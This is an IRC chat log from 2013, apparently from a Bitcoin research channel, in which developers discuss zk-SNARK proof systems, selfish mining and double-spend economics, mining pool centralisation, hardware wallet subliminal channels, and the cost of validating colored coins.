20:44 < petertodd> gmaxwell: ah, and these schemes can do that directly?
20:45 < gmaxwell> petertodd: no no. Perhaps we're miscommunicating.
20:45 < gmaxwell> I thought justanotheruser was asking why the pinnochio proofs were much bigger than an ECDSA signature.
20:46 < petertodd> gmaxwell: right, I took it as asking why you couldn't feasible make a pinnochio proof of a ECDSA sig
20:46 < sipa> ECDSA is basically a scheme designed for creating a compact proof... for a very specific operation
20:46 < gmaxwell> petertodd: oh you could, and ... like all other GGPR'12 proofs would be 288 bytes. Though the proving time might be awful.
20:47 < petertodd> gmaxwell: right, and the proving would be some crazy thing that basically implements ECDSA with some circuit
20:47 < gmaxwell> right, with an arithemetic circuit over some finite field.
20:48 < gmaxwell> (or some boolean circuit, though usually arithemetic circuits are more compact, e.g. they make sha256 quite compact)
20:56 < petertodd> so the pinnochio source code is available, but I don't see any license anywhere
20:57 < petertodd> oh wait, I found it, Microsoft non-commercial, not too useful
22:12 < amiller> i think that is a realistic interpretation of what people have believed about bitcoin without stating it as such
22:12 < gmaxwell> yea, thats a stronger claim and there are a bunch of ways thats wrong.
22:13 < gmaxwell> amiller: they may have, they also think things like 1 confirm is safe.
22:13 < gmaxwell> You can find me disputing the claim that you need >50% to cause trouble all over the forum and on
22:13 < gmaxwell> IRC.
22:13 < gmaxwell> (though not on this particular basis)
22:14 < amiller> so they show one compelling way that it's not the case for x>33% and no one would really dispute that
22:14 < amiller> anyone who's bothered to state incentive-compatible as a goal would not have said that
22:14 < amiller> and it's nice of this paper to introduce incentive compatible and make it clear that's the desired goal
22:14 < amiller> so that whole set of ideas is great and is a good result
22:14 < gmaxwell> well, they haven't published their simulation source and are apparently not interested in doing so. so I'm not actually sure about the 33% number, bytecoin got a different figure in his simulation.
22:15 < amiller> maybe they should have shown the positive result that with x<33%, honest mining *is* incentive compatible!
22:15 < gmaxwell> I don't think honest mining is ever incentive compatible, sadly. Not with a wide enough net of possible bad behaviors.
22:15 < amiller> actually kroll davies and felten in their WEIS paper showed precisely that, but for a more restricted set of strategies (they didn't look at block delay, only which block you build on)
22:16 < amiller> yeah and i showed that it's not if there's a sufficiently big enough anomalous tx fee, but that is easy to fix except for coinbase maturity :3
22:16 < amiller> so does their result actually build *more* evidence that honest mining is incentive comaptible under a somewhat wider range of bad behavior?
22:16 < amiller> do you really think it's never the case?
22:17 < amiller> what else does it depend on, like your ability to pull off a double against against some 1-confirmers?
22:17 < gmaxwell> no. I'm just saying, I don't know how useful it is to show these things under restricted behavior. Peoples behavior is not restricted.
22:17 < gmaxwell> amiller: yes, thats one example. Or get paid to censor, as another.
22:18 < amiller> well maybe moving in that direction is the right idea
22:18 < amiller> maybe that's the thing to do is start with incentive compatible under restricted behavior and widen the net?
22:18 < gmaxwell> not just 1-confirmers... at anything under infinite confirms a <50% faction has improved ability to reverse than a smaller <50% faction.
22:19 < amiller> yeah but at some point you're just wasting money for a poor chance
22:19 < amiller> yes an adversary who just *has* a portion of the hash power can keep trying to get a streak-of-7 forever
22:19 < gmaxwell> e.g. the success rate at reversing 15 confirms is higher for a 40% faction than a 20% faction. So that just depends on how big a heist you can pull off. And the size of that depends on how many txn you can put in a block, and how many parties will be exploitable at a number of confirms.
22:20 < amiller> i think that's a game we can win
22:20 < amiller> for some kind of reasonable attack model
22:20 < gmaxwell> amiller: pratically nothing in bitcoin land waits for more than 6 confirms. https://people.xiph.org/~greg/attack_success.html
22:20 < gmaxwell> 50% success rate for 40% hashpower.
22:21 < amiller> everyone who waits 6 blocks probably should wait longer?
22:21 < amiller> my only question is this
22:21 < gmaxwell> plus you can outsource the actual performing of attacks by just letting other people send their double spends to you directly, and they pay you a high fee and they get included in your attack blocks.
22:21 < amiller> is the overall network harmed by people setting their threshold too low?
22:21 < gmaxwell> yes, I think they are: you saw the ghash.io thread?
22:21 < amiller> it's like living in a neighborhood where no one buys door locks except you, and that attracts lots of criminals, one of those security analogies
22:21 < amiller> yes i saw the ghash.io thread
22:22 < gmaxwell> 25% miner attacking a zero confirm betting service (hurray!)
22:22 < amiller> but afaict that isn't affecting consensus or anyone with larger confirm therhold
22:22 < amiller> then just think of the stupid betting service as part of the 25% attacker
22:22 < amiller> it isn't a money pump exactly
22:23 < gmaxwell> yea but you now have a mining farm created of captive miners who have no control of their mining, which is controlled by people who can perhaps multiplicatively increase their income by playing games.
22:23 < amiller> let them bleed the zeroconfirm gambling thing dry?
22:23 < amiller> then they have to stop?
22:23 < amiller> i mean that's no different than subsidized mining to attract users and then use them for arbitrary double spends
22:23 < gmaxwell> they could profitably exploit the betting service even if they required 6 confirms, in fact.
22:24 < gmaxwell> (because the house rake on that betting service is only like half a percent or something)
22:24 < gmaxwell> though they might not like the variance of that game. :P
23:56 < ebfull> https://bitcointalk.org/index.php?topic=327064.0
23:56 < ebfull> re: this ^
23:56 < ebfull> when blocks are orphaned and their transactions are re-introduced into the mempool
23:56 < ebfull> what are the transactionseconds for those transactions?
--- Log closed Wed Nov 13 00:00:24 2013
--- Log opened Wed Nov 13 00:00:24 2013
00:01 < ebfull> if it's nil because the node never saw the transaction enter the mempool... then new blocks would have zero incentive to include those transactions because they could be orphaned so easily by a competing miner
00:02 < ebfull> if it does exist, we have to retain a transactionseconds map of arbitrary length to anticipate reorgs
01:32 < midnightmagic> lol. of course they're not interested in publishing their simulator. Why would they be? Fuck science.
01:33 < ebfull> who
01:35 < amiller> ebfull, the ES people with the selfish mining
01:35 < midnightmagic> the "bitcoin is dead unless you fix it with our patch specifically, and choose randomly between two possible forks of the blockchain"
01:35 < ebfull> they made a simulator and are not publishing it
01:35 < ebfull> maybe it sucks as bad as mine ^^
01:36 < ebfull> i actually tried their patch
01:36 < midnightmagic> Yeah, Eyal and Sirer.
01:36 < ebfull> it only slightly dampens the selfish mining attack
01:36 < ebfull> and in fact it makes sybil attacks less necessary
01:37 < midnightmagic> (apologies to channel for foul language.)
01:37 < ebfull> so you not only get the small benefit of the selfish mining attack above 30% or so, but you also don't have to sybil attack the network
01:37 < ebfull> i think they admitted in their paper it raises the threshold to 25% or something
01:37 < ebfull> i don't remember
01:38 < gmaxwell> ebfull: yea that was my immediate observation.
01:38 < gmaxwell> makes an immediate incentive for a large pool to delay their blocks. I generally worry about any scheme that isn't "earliest block first" in terms of the convergence behavior in a real network.
01:39 < ebfull> one thing i want to try to simulate
01:39 < ebfull> is the idea ByteCoin had on the forum
01:40 < ebfull> which was to choose the branch with the most transactions from the mempool (proportional to how long they were in the mempool)
01:40 < ebfull> since the selfish miner won't have as many as the honest miner
01:43 < gmaxwell> I thought that was interesting, but its complicated to consider possible strategies that encourages completely. e.g. will someone announce old transactions that are unattractive to mine but just enough to get into the mempool and mine those to win races?
01:55 < warren> any way to score quality ahead of quantity?
01:56 < gmaxwell> warren: most things like that are bad for convergence.
01:56 < gmaxwell> e.g. letting you continue to mine in competition instead of extending as long as you can produce a block with better quality.
01:57 < warren> Past assumptions about why big pools are not dangerous assumed that miners would realize the damage a bad pool is causing and move to another pool. The recent huge hashes to the highest bidder makes that seem unlikely.
01:59 < gmaxwell> dunno whos past assumptions those are? not mine. you miss me cheering about ghash.io attacking, and no one budging? :P (well, not for the attack but that I have a concrete example of what I believed)
02:00 < warren> does ghash own all the hardware that hashes there?
02:02 < gmaxwell> no.
02:03 < gmaxwell> ghash is a semi-public pool, most of its hashrate is owned by the public via cex.io. (which is probably really the same people as ghash.io through some wink and nod) but its all captive.
02:08 < midnightmagic> warren: They did leave deepbit when it was approaching the magic majority a while back.
02:08 < gmaxwell> midnightmagic: not ... quite.
02:08 < gmaxwell> more like deepbit left the miners. :P
02:09 < gmaxwell> (and not approaching, after it was a majority for a fair bit of time)
02:09 < midnightmagic> gmaxwell: Did deepbit kick out a botnet then? Why did its hashrate dip back?
02:09 < gmaxwell> midnightmagic: it was under heavy DDOS for over a week and was unreachable a lot of the time.
02:09 < midnightmagic> hrm..
02:09 < midnightmagic> I wonder if that was btcexpress.
02:13 < warren> gee, if only there were a way to do decentralized mining...
02:14 < gmaxwell> warren: decenteralized denial of service, thats almost like decentralized mining, right?
02:15 < warren> gmaxwell: given the fragility of these nodes ...
02:20 < gmaxwell> hm? pools are pretty hard to attack from a bitcoin perspective.
02:21 < gmaxwell> the dos attacks mostly try to run them out of bandwidth, sometimes try to break their poolserver stuff...
15:26 < gmaxwell> (I know what they're doing now, but would prefer to comment after the paper is out)
15:26 < Emcy> righto, be interesting to see if its the real deal
15:26 < TD> ditto
15:26 < gmaxwell> Emcy: they'll probably keep calling it zerocoin, but indeed, it will achieve somewhat different things and its done using a different mathmatical basis.
15:26 < TD> it's SCIP based, i guess we can say that.
15:27 < TD> but for anything more wait for the paper
15:27 < TD> i'm sure it'll be out soon
15:27 < Emcy> who is matthew green?
15:27 < TD> a top class guy
15:27 < TD> (one of the zerocoin researchers)
15:28 < gmaxwell> ;;lmgtfy matthew green
15:28 < Emcy> http://spar.isi.jhu.edu/~mgreen/ this one i assume
15:31 < Emcy> well he got hos doctorate in 3 years with a thesis on a privacy thing
15:31 < Emcy> so we will see
16:19 < adam3us> so i guess people eg amiller were thinking that you could do things with scip - eg you could compact a committed coin with a scip (zkp it adds up and relates to a previous payment)
16:20 < adam3us> probably other variants also scip-coin, so they seemingly have put something together
16:20 < adam3us> but another question is if you could (and the are probably multiple configurations, scip is very general and flexible) would you want to
16:21 < adam3us> meaning its based on weil pairing and lots of cutting edge stuff
16:22 < adam3us> whats to say shamir or someone isnt going to break some of the assumptions or techniques - so we'd need to know the implications from the security unraveling partly - eg can they then attack individual coins which is maybe too expensive or can they attack the whole system. hard t say without further details
17:29 < amiller> i doubt matt green is using anything with generic zk
17:30 < amiller> i have no idea what's actually in the new zerocoin thouhg
17:30 < Emcy> pixie dust
17:31 < adam3us> amiller: "TD: it's SCIP based, i guess we can say that."
17:31 < Emcy> if ti works it could be pixie dust for all i care
17:31 < amiller> i think td is just guessing
17:32 < adam3us> amiller: it seems to me if you allowed scip there should be multiple ways to build a scip-coin with privacy
17:32 < gmaxwell> No, td isn't guessing. It's zk-SNARK based.
17:32 < amiller> oh
17:32 < amiller> well... cool then
17:32 < adam3us> do we know a publication timeline?
17:33 < adam3us> fc2014?
17:33 < amiller> oakland
17:33 < gmaxwell> I dunno, I was told their paper was done and just being edited
17:33 < amiller> he'll put it on arxiv wthin weeks
17:33 < gmaxwell> well "done" and that they'd send it to me soon.
17:33 < gmaxwell> ah there you go.
17:34 < amiller> it can be zk-snark and still not use the generic tools like pinocchio or scip
17:34 < amiller> in other words i would still guess he'd construct it himself out of bilinear groups rather than compiling a circuit
17:35 < adam3us> amiller: yeah ok terms backwrds
17:35 < gmaxwell> there is also compiling a circuit but not using something fully generic like tinyram (e.g. more like pinocchio)
17:35 < gmaxwell> or mixing.
17:36 < amiller> pinocchio is identically as generic as tinyram!
17:36 < gmaxwell> you get pretty different circuits out of it though.
17:37 < amiller> yeah that changes
17:37 < amiller> i think the right question is whether it uses GGPR
17:38 < amiller> which all of the three generic snark projects do so far (scip, pinocchio, pantry)
17:38 < amiller> that's the particular way of using bilinear group primitives to do zk over arbitrary circuits
17:39 < gmaxwell> amiller: eli's group also has a backend that is not GGPR based apparently.
17:39 < amiller> well hm, i'm not aware of that
17:40 < gmaxwell> (IIRC their other one is a fiat shamir on some RS locally testable codes for 'more efficient' pcp)
17:41 < gmaxwell> amiller: IIRC it eliminates the trusted randomness that all the GGPR stuff needs for the construction of the proving key (which if violated allows the construction of false proofs)
17:41 < gmaxwell> but I have no @#$@ clue what the performance is really like, because ... theoreticians.
17:42 * amiller isn't sure about the trusted randomness needed for ggpr
17:43 < amiller> it's public coin to build the verification key, you could do it pseudorandomly like fiat-shamir too
17:45 < gmaxwell> amiller: it's annoying because I think most of the papers have really not been clear about this requirement.
17:45 < gmaxwell> It was my understanding that if you knew the original randomness then you could trivially produce false proofs, but I could be incorrect.
17:46 * warren is greatly amused. Feathercoin has been trying and failing for 2 months to copy Litecoin 0.8.x and make it network compatible with their old 0.6 client.
17:50 < Luke-Jr> lol
17:52 < amiller> unrelated to zerocoin, the whole team at best people at microsoft research have published a workshop paper that no one heard about despite being presented at a workshop a week ago....
17:52 < amiller> http://forsyte.at/petshop-2013/
17:52 < amiller> called, unimaginatively, "Pinocchio Coin"
17:54 < gmaxwell> The coin is (telling) a lie.
17:54 < gmaxwell> hm. so it inflates when you lie about it?
17:56 < Luke-Jr> lol
17:58 < amiller> no, it just uses pinocchio's generic zksnark to do what zerocoin does apparently. it's also a 1 page paper and they give very little analysis.
17:59 < gmaxwell> do these people not feel any pain that their work never gets used in anything?
18:01 < TD> well i guess matthew does, hence the focus on building an actual alt coin
18:03 < gmaxwell> yea it was a general complaint about crypto folks. (well not just crypto, same thing exists in dsp / coding tech)
18:03 * amiller wonders what satisfaction can be had having people use your altcoin...
18:04 < gmaxwell> ;;ticker
18:04 < gmaxwell> oh gribble isn't here.
18:04 < gmaxwell> Well. there is at least <what gribble would have said>. Kinda boring though. :P
18:04 < TD> in fairness, if every crypto paper had to create a useful real world app before they could do the next one, there'd be much less crypto research
18:04 < TD> btw does anyone want to connect with me on Pond?
18:05 < TD> (talking of crypto that needs usage)
18:05 < gmaxwell> a lot of stuff has applications, but it does seem that a lot of things get proven possible and then forgotten.
18:05 < Luke-Jr> amiller: you get to pump & dump?
18:06 < Luke-Jr> TD: wtf is Pond?
18:06 < maaku> TD: is pond stable enough to use for real stuff?
18:06 < maaku> Luke-Jr: email done right, from a crypto nerd's perspective
18:06 < maaku> https://pond.imperialviolet.org/
18:07 < Luke-Jr> something wrong with PGP+SMTP?
18:07 < amiller> metadata?
18:07 < maaku> yes, lots
18:07 < maaku> metadata, reliance in relays, etc.
18:08 < TD> maaku: it sort of sucks on MacOS X thanks to GTK and Go being rather 1990's, imo, but yes, it works and I've been using it to communicate a bit. a guy from the foundation forums set it up with me and we used it to have some back and forth discussions
18:08 < TD> Luke-Jr: the big one (other than it being a pain to use) is that PGP+SMTP leaks who you are talking to
18:08 < TD> Luke-Jr: and it turns out that often you can sort of guess what is being said, if you can see who is communicating
18:08 < Luke-Jr> this doesn't?
18:09 < TD> it's also got no forward secrecy. private key compromise == all sniffed/obtained comms owned
18:09 < TD> nope, pond runs exclusively over tor and all clients/servers communicate at randomized intervals, sending garbage if there's no real comms to do
18:09 < Luke-Jr> you can see who is communicating with each other over tor
18:09 < maaku> TD: I'll see if I can get it setup and reach out to you
18:10 < TD> maaku: there are binaries these days. if you send me a shared secret then that's all we need
18:10 < TD> Luke-Jr: not really. all you see is a bunch of hidden service connections that send traffic at random intervals. even if you can strip tor, the messages themselves are all encrypted using some very fancy crypto. even the server doesn't know who is sending a message to an account, and of course, accounts are all anonymous anyway
18:11 < TD> basically it's about the most extreme form of secure email imaginable. i'm tempted to call it massive overkill, but ...... maybe these days it's not
18:11 < TD> also the linux version supports using a TPM to implement secure delete, even if you have an SSD that wouldn't normally be able to delete data properly
18:11 * sipa invokes XKCD 538
18:11 < Luke-Jr> I just lost TPM in my upgrade :P
18:11 < Luke-Jr> new mobo just has a header
18:12 < TD> the downside of pond is there's no concept of an email address
18:12 < TD> before someone can send you messages, you have to do a key exchange with them
18:12 < Luke-Jr> and in any case, that's assuming the TPM vendor is trustable
18:12 < TD> well all the TPM is used for is the NVRAM really
18:13 < Luke-Jr> which the TPM *could* be making secret backups of..
18:13 < TD> nah. they're too limited.
18:13 < Luke-Jr> I wasn't aware of TPMs having open source designs
18:13 < Luke-Jr> or did someone do an X-ray audit or something?
18:14 < TD> their design and features are limited by the spec + cost pressure. there's nowhere for a secret backup to go. these things have storage measured in kilobytes
18:14 < TD> but sure if you go full tinfoil hat, then your computer has no way to delete stuff.
18:14 < Luke-Jr> TD: NSA-subsidised additional NVRAM never exposed to the outside
18:14 < TD> the TPM wasn't designed to be used in this way, so that'd require the NSA to be clairvoyant
18:14 < TD> which even I don't believe
18:14 < Luke-Jr> XD
18:15 * Luke-Jr wonders if TPMs from >1 year ago would work on his motherboard's header
18:15 < gmaxwell> Luke-Jr: they should.
18:16 < Luke-Jr> what would they be called? TPM "boards"?
18:16 < Luke-Jr> maybe I could wire my old motherboard's onboard TPM up to it somehow?
18:17 < TD> TPM chips
18:17 < Luke-Jr> chips plug direct into the header? ;)
17:24 < warren> https://bitcointalk.org/index.php?topic=337294.msg3668245#msg3668245
17:25 < warren> sipa: win32 binary works on Linux and Mac, so we could distribute just one build for all platforms. =P
17:25 < warren> bad joke
17:30 < gmaxwell> virtualbox plus the linux binary.
17:30 < gmaxwell> :P
19:44 < michagogo|cloud> Maybe some stripped down, boot-to-Bitcoin Linux distro?
19:45 < michagogo|cloud> I'd guess warren's got experience creating Linux distros...
19:45 < michagogo|cloud> That has the added bonus of allowing people to boot up into it
19:46 < michagogo|cloud> (Non-VM)
21:33 < cfields> heh, i _seriously_ underestimated how much building qt for osx in linux would suck
21:33 < cfields> that was no fun at all
21:37 < phantomcircuit> lol
22:55 * n0g hugs all the wizards <3 <3 <3
22:56 < n0g> I am honored to be in your presence.
23:57 < warren> gmaxwell: EFI bitcoin?
--- Log closed Fri Nov 22 00:00:56 2013
--- Log opened Fri Nov 22 00:00:56 2013
04:54 < warren> NMC is now $2.65 ...
04:54 < TD> back from the dead, huh
04:58 < warren> undead
04:58 < warren> TD: somehow BBQCoin is still alive
04:59 < TD> even the name of that coin makes me smirk
04:59 < TD> lol. BQC Foundation
04:59 < TD> given how controversial the creation of the foundation was, alt coins sure love the idea
05:11 < petertodd> warren: interesting, namecoin diff is 471M, btc diff 695M, so it is 51% attack secure as a merge-mined coin
05:11 < petertodd> warren: IIRc for a while it was looking a fair bit worse than that
05:34 < michagogo|cloud> Um, BBQCoin?!?
05:34 < michagogo|cloud> ;;google bbqcoin
05:34 < michagogo|cloud> Oh, no gribble
06:02 < sipa> we are gribbless
06:03 < michagogo|cloud> Any specific reason?
06:03 * michagogo|cloud wonders if there's an altcoin called altcoin yet
06:26 < wumpus> not according to this list http://coinchoose.com/
06:27 < warren> I've come to realize all the scrypt clones are actually useful for something.
06:28 < warren> although I can't tell them what that is.
06:28 < wumpus> there are HoboNickels though, does that come close enough? :p
06:29 < warren> I can't imagine why anyone wouldn't want to use it with that name.
06:30 < wumpus> right, I can't imagine bitcoin would have taken off with that name
06:31 < warren> wumpus: http://coinchoose.com/charts.php this is a more interesting chart
06:31 < warren> Pac Man
06:33 < wumpus> like a pacman eating all the other coins
06:42 < warren> heh
06:57 < Emcy> percentage of chart that looks like pacman: 85.80
07:46 < michagogo|cloud> 13:28:02 <warren> although I can't tell them what that is.
07:46 < michagogo|cloud> Why not?
09:11 < adam3us> michagogo|cloud: suspecting its like evolution in action and he doesnt want to disrupt the process by renting them a clue ;)
09:12 < michagogo|cloud> Now I'm curious :-/
09:13 < gmaxwell> "Prime directive"
09:14 < michagogo|cloud> okay, I need to go get dressed -- Shabbat Shalom and I'll see you tomorrow night
09:25 < n0g> Good morning, everyone. *hugs*
09:42 < adam3us> y'know i've been musing about subliminal channels and smart-card wallet with observer protocols from Brands and others for eg the trezor. some people opined that well why should i trust a trezor wallet. well indeed - trust no one - thats the point of crypto currency
09:43 < adam3us> so with these observer protocol the smart card subliminal channels are 100% plugged its only "communication" is logical level one-bit at a time by failing with an error msg instead of signing, which you're going to notice
09:45 < adam3us> the idea is the observer (your desktop/latop/smartphone computer) sends a zkp that the blind protocoin (not yet signed coin) has the given input txids, vales etc whatever you need the signature on. the trezor displays that info for the user to cross check, signs it, the observer unblinds the signed coin, and then has an extended ECSchnorr sig which is
transferably verifiable to anyone
09:46 < adam3us> and yet there is no effective subliminal channel - the only way for the trezor to squeal is to have malware on your observer, or have an unadvertised bluetooth or something in it (maybe want to make it a mini faraday cage:)
09:54 < gmaxwell> adam3us: so, it would be simpler to just use the device in a multisignature manner with the observer as another signer, no? then it could squeal but if the observe was strong, it wouldn't matter.
09:55 < adam3us> yes i think u certainly could stop it squeeling via a multisig
09:56 < adam3us> gmaxwell: however your primary issue is the insecurity of your observer. this is the most corrosive driving force for security attacks ever invented by several orders of magnitude
09:57 < adam3us> gmaxwell: certainly doesnt hurt to multisig it, but 99.9% of your security is in the trezor, so it would be nice if it's subliminal channel is blocked. i think lack of end2end secure, mutually airgapped finance built on to of bitcoin may start to erode its value and potential
09:58 < gmaxwell> right, but if your observer is compromised then the blinding procedure won't stop it either.
09:59 < adam3us> gmaxwell: address authenticity is the other problem, you cant trust anything your online computer is telling you. eg exchanges should be end2end airgapped at both ends with a chain code shared by the exchange trezor and the user trezor
09:59 < gmaxwell> And sure, if you'll note, I wanted them to switch it to determinstic DSA so it was more easily auditable against side channels.
09:59 < adam3us> gmaxwell: this is true, but if the observer is not compromised you dot
10:00 < gmaxwell> if you use dice to come up with your master key and load it into the tresor, then everything that comes out should be deterministic and reproducable by a simulator.
10:01 < adam3us> gmaxwell: yes the deterministic DSA is verifiable with a paper backup and an offline computer and ec calcultor, which is nice; the observer allows you automatically and safely online prevent the subliminal channel (ie yes if your observer is compromised you have a problme, but the observer doesnt have secrets)
10:01 < adam3us> gmaxwell: agreed. i was wondering if you could make a dsa variant, or another way to compute a dsa that can be publicly verified as subliminal channel free. ie against the public key.
10:03 < gmaxwell> adam3us: you could probably have the signer produce a zkp that the r is (g*H(message||private key))
10:03 < adam3us> gmaxwell: the deterministic DSA requires the private key to verify, maybe there's another way to do it where you get a dsa sig an something that proves it was generated fairly. eg proof of concept SCIP. provide also a proof that you know k and k was chosen as H(d,m) via scip and auxilliary proof
10:03 < adam3us> gmaxwell: yes exactly
10:04 < gmaxwell> now the problem is that the signer is a 40 mhz cortex-m3 with 256k of ram. :P
10:04 < adam3us> gmaxwell: you know it would be even better if its compact and publicly auditable so the miners check it and reject htem
10:04 < adam3us> gmaxwell: if they are non-deterministically signed... then your hw has no power to abuse a subliminal channel
10:05 < gmaxwell> adam3us: meh, that would just make the transaction bigger. if it gets into the network even if it doesn't get mined a badguy can see it.
10:05 < gmaxwell> adam3us: huh? it's easily possible to have a working subliminal channel with non-deterministic signatures.
10:06 < gmaxwell> E.g. keep drawing random numbers until r encodes some bits for you.
10:06 < adam3us> gmaxwell: it was split across to ims. i meant to say if you can prove its deterministic (to the observer) then your hw cant cheat you
10:06 < gmaxwell> oh indeed.
10:08 < adam3us> gmaxwell: see eg you can have an optically isolated observer. mini tablet with no network, point it at screen qr code, it displays msg and green check box that yes this coin has no subliminal channel
10:08 < adam3us> gmaxwell: could be the new era analog of the paper note counterfeit detectors
10:08 < gmaxwell> So a proof would work nicely for this, but making it pratical would be hard. (such a proof could also inhibit people storing other garbage in the blockchain)
10:09 < gmaxwell> "digital iodine pen, now with 100% less snake oil"
10:10 < adam3us> gmaxwell: a nice side effect to be sure (garbage stuff on the block) that seems like it needs nother step tho eg prove the receiving address as a private key known to someone- we could already do that at the cost of some bloat (eg selfsigned public keys as addresses)
10:10 < gmaxwell> adam3us: you could have a optically isolated tresor' with the same private key loaded in it (but you don't need to trust it much because its isolated) and it just checks signatures.
10:11 < gmaxwell> adam3us: you don't even need the bloat in the history because you'd throw the proof out and only check it in for the most recent block.
10:12 < adam3us> gmaxwell: broadcast but not stored, validated spv style by late joiner full nodes, yes
10:14 < adam3us> gmaxwell: the other mechanism direction was thinking maybe you can do a direct zkp, rather than fiat shamir transform, eg if you replace the hash H(m,d)=SHA-256(m,d) with like H(m,d)=mG+dH for some point H with unknown discrete log
10:15 < gmaxwell> ha ha
10:15 < adam3us> gmaxwell: then make a signature with that. dH would be secret also. that is broken no doubt, but maybe it can be fixed
10:17 < gmaxwell> I'm laughing due to my failed attempt to convince djb that we ought to have curve parameters selected so that strong nothing up my sleeve points exist. Because we don't know how our generator was selected it's possible whomever picks it knows the discrete log of an apparently nothing up my sleeve point.
10:17 < adam3us> gmaxwell: yes that is a no no, thats what went wrong with EC_DRBG
10:18 < adam3us> gmaxwell: the base point needs to be proven.. eg by hash2curve on digits of pi or such things
10:18 < adam3us> gmaxwell: didnt he do that?
17:47 < amiller> or a dsecription
17:47 < amiller> (or just elaborate here?)
17:47 < jrmithdobbs> gmaxwell: even with a pre-sorted map all historical txns in the chain?
17:47 < gmaxwell> amiller: because the colored coin rule says that the color goes into the first colored coins worth of txouts.
17:47 < amiller> so only one txinput can be colored?
17:48 < amiller> only splits no merges?
17:48 < jrmithdobbs> gmaxwell: and by 'the chain' i mean the blockchain, not the usage/history chain of those coins
17:48 < gmaxwell> amiller: TXOUT. I'm specifically saying tracing forward from the genesis, not backwards from the payment.
17:48 < jrmithdobbs> gmaxwell: it's getting more prohibitive but still feasible after all
17:48 < gmaxwell> and if you split then its the first N or whatever, and yea, you have to trace them all in the case of a split, thus why I mentioned meet in the middle.
17:48 < amiller> you mean i trace *all* the ones forward?
17:49 < amiller> i see
17:49 < gmaxwell> or you have someone just preidentify the paths and you just confirm them, which is fundimentally easier.
17:49 < amiller> yeah i'm just thinking of the ones needed to confirm
17:49 < gmaxwell> and I have no clue about code for this. As I said, most people talking about this crap have not implemented it and are missing how expensive this is.
17:50 < amiller> i wish i had some way to express this bound
17:50 < gmaxwell> some of the stuff that was implemented simply just keeps an enormous database and traces the color (according to their rules) of every coin.
17:50 < jrmithdobbs> it's only one of the most computationally expensive features ever requested
17:50 < amiller> that's what i first wrote down
17:50 < jrmithdobbs> I don't know that I really agree with the necessity of it
17:50 < amiller> it's the same as mastercoin in that case
17:50 < amiller> you get nothing like spv security
17:51 < amiller> you need to build the index for every coin that *might* interact with a coin later that you care about
17:51 < amiller> or else traverse a potentially exponential number of tx
17:51 < gmaxwell> yes, thats been one of the objections to all these stupid parasitic things. The network is blind to them, but the network is blind to them.
17:51 < sipa> i wish we hade pruning and spv in the reference client, so all these fancy-feature implementers would at least realize what they're precluding
17:52 < sipa> gmaxwell: the first member of tautology club...
17:52 < gmaxwell> after all, you could just have a bitcoin where the blocks were nothing but timestamps and miners didn't validate anything. ... of course you could never have any kind of lite node in that world except centeral server trusting ones.
17:53 < gmaxwell> sipa: don't worry we'll just <arms wave> use checkpoints to make our uber indexes scale! or we'll like, write those checkpoints into transactions so you can get them in the blockchain too.
17:53 < sipa> Easy.
17:53 < jrmithdobbs> gmaxwell: i just vomitted a little
17:54 < sipa> gmaxwell: if the indexes grt toobig, you use a DHT of course
17:54 < sipa> and rainbow tables
17:54 < sipa> *get too big
17:54 < jrmithdobbs> dht is my favorite of those
17:54 < jrmithdobbs> lol
17:55 < gmaxwell> yea, plus if that doesn't handle it we can use an xml database with ldap to haddoop to achieve webscale in the cloud!
17:55 < jrmithdobbs> there's no problems to solve with a massively distributed untrustworthy dht rite guys?
17:55 < amiller> grrr
17:55 < gavinandresen> rainbow tables are pretty
17:56 < jrmithdobbs> gmaxwell: and you could do elastic scaling pools of resque queues synchronized by a redis entry and just give up on this decentralized nonsense while we're at it
17:56 < amiller> colored coins definitely aren't fungible if some of them are potentially way more expensive to verify than others
17:56 < amiller> i'm annoyed if anyone really thinks that's preferable than the index approach
17:56 < amiller> if everyone has to keep an index then colored coin has no advantage over mastercoin
17:57 < gmaxwell> amiller: the index approach isn't cheap either, no spv nodes, just some gigantic index.
17:57 < amiller> yes
17:57 < gmaxwell> amiller: well mastercoin requires coding in a bunch of extra stupid data into transactions which seems kinda silly, since if you have to have that index why can't that index store it?
17:58 < amiller> not really, if it's published then you have a guaranteed ordering
17:59 < amiller> it is reasonable to use bitcoin as append only log in that sense
17:59 < gmaxwell> In any case, minus that detail they're actually the same thing, index vs trace being an "implementation detail", likewise the system depending on its own currency that the creators minted and manually issued is an implementation detail.
17:59 < gmaxwell> amiller: you can get guaranteed ordering from the hash of the state rather than coding it explicitly.
17:59 < amiller> no you can't
17:59 < amiller> because it's indeterminate whether the preimage of a hash has been revealed yet
18:01 < gmaxwell> amiller: makes it halariously vulnerable to censorship if they're counting on the blockchain as a jamming free communications channel.
18:01 < amiller> why?
18:02 < jrmithdobbs> amiller: because you can outbid them for space and delay their comms indefinitely under some circumstances
18:02 < amiller> that's no worse than with bitcoin proper
18:02 < gmaxwell> because they're trivially distinguishable.
18:03 < jrmithdobbs> amiller: right but bitcoin isn't trying to differentiate inputs like this so it doesn't matter, delaying the data distribution can effectively delay any affect from the color system decreasing it's value
18:03 < gmaxwell> It would be in the rational self interest of bitcoin users and miners to not allow the currency to be dilluted by the non-fungable mastercoin transactions which are trivially distinguishable.
18:03 < jrmithdobbs> amiller: if i can pull off a heist and delay coloring of my coins for 48 hours i can probably spend them
18:03 < jrmithdobbs> eg
18:04 < amiller> i see
18:04 < amiller> well... if you can delay blocks to full validating nodes... then
18:04 < amiller> i dunno i don't really see a conflict with requiring bitcoin to implement a jam free network sufficient to validate transactions
18:04 < amiller> you have to at least run the tx through the hasher
18:04 < amiller> you can prune it before validating etc
18:05 < jrmithdobbs> don't have to delay blocks just SD style spam with paid fees (what I'm talking about isn't free, I'm sure you could come up with more inventive similar attacks)
19:50 * Luke-Jr stabs Google for signing him up for G+ without permission
19:51 < gmaxwell> Luke-Jr: it's not all bad, ... now you can show up in ads endorsing products! and you didn't even have to go to a tryout!
19:51 < Luke-Jr> I don't want to be on G+
19:51 < MoALTz> accidentally clicked one button that did it all? microsoft did that to me a few years ago
19:51 < Luke-Jr> my only guess is when YouTube asked if they can put a space in my name "Luke Dashjr" instead of "LukeDashjr" when I left a comment
19:52 < gmaxwell> yea, youtube does that.
19:52 < Luke-Jr> didn't say I was joining G+
19:52 < Luke-Jr> -.-
19:52 < gmaxwell> you have to just not use youtube for 12 hours after it pops up that rename dialog.
19:52 < Luke-Jr> srsly?
19:53 < gmaxwell> yea, works for me. you can delete your google+ but it'll keep doing the thing after the fourth or fifth consecutive video you view.
19:55 < BlueMatt> or not comment on youtube videos?
